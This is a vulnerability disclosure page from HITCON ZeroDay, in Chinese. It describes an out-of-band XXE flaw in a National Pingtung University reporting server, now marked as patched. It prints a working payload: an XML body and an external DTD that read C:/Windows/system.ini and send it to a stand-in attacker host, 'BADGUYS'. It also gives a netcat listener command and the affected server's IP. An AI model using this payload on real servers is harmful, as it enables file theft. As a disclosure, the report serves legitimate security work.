Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00945
- Vendor: 國立屏東大學
- Title: 屏東大學 OOB-XXE 注入漏洞
- Introduction: 透過受影響的伺服器及猜取路徑取得該系統之檔案
處理狀態
目前狀態
公開
Last Update : 2018/07/21
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2018/07/04 23:19:46 : 新提交 (由 Still 更新此狀態)
- 2018/07/05 00:36:11 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/07/05 23:59:35 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/07/05 23:59:35 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/07/05 23:59:35 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/07/09 15:17:20 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/07/09 15:27:34 : 未修補完成 (由 Still 更新此狀態)
- 2018/07/17 11:02:49 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/07/17 18:39:46 : 確認已修補 (由 Still 更新此狀態)
- 2018/07/21 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00945
- 通報者:stillazure (Still)
- 風險:中
- 類型:任意檔案下載 (Arbitrary File Download)
參考資料
攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://120.118.118.65:9000/adhoc
http://120.118.118.65:9000/adhoc/applet.html
http://120.118.118.65:9000/adhoc/applet.html
敘述
任何用戶可向所受影響之伺服器 POST 任何 XML 檔案,而該伺服器將試著驗證該檔案是否符合 i-net Clear Reports 所要求的回報,若非,將會回傳「500 伺服器錯誤」
但經過測試,該伺服器即使在回傳內部伺服器錯誤的狀態中仍會試著取得 XML 中所要求的檔案或甚至試著處理 DTD。
透過該點,於測試時可寫如下列的 POST 要求
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo SYSTEM "http://BADGUYS/vuln.dtd">
<foo>&atk;</foo>
以及下列的 DTD 檔案以試著取得該電腦中的 C:/Windows/system.ini 檔案
<!ENTITY % victim SYSTEM "file:///C:/Windows/system.ini">
<!ENTITY % vuln "<!ENTITY atk SYSTEM 'http://BADGUYS/test?%victim;'>">
%vuln;
並透過簡易的 HTTP 伺服器設置 (如 Python 內建的 SimpleHTTPServer) 來 host 我們的 DTD payload
實際測試時,我們可透過 netcat 來監聽是否該伺服器有與我方的遠端伺服器連接
nc -lvp <portNumber>
於測試後發現,的確該伺服器有透過 GET 傳回我們所要檔案的訊息,甚至遠端所使用的 Java 版本
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。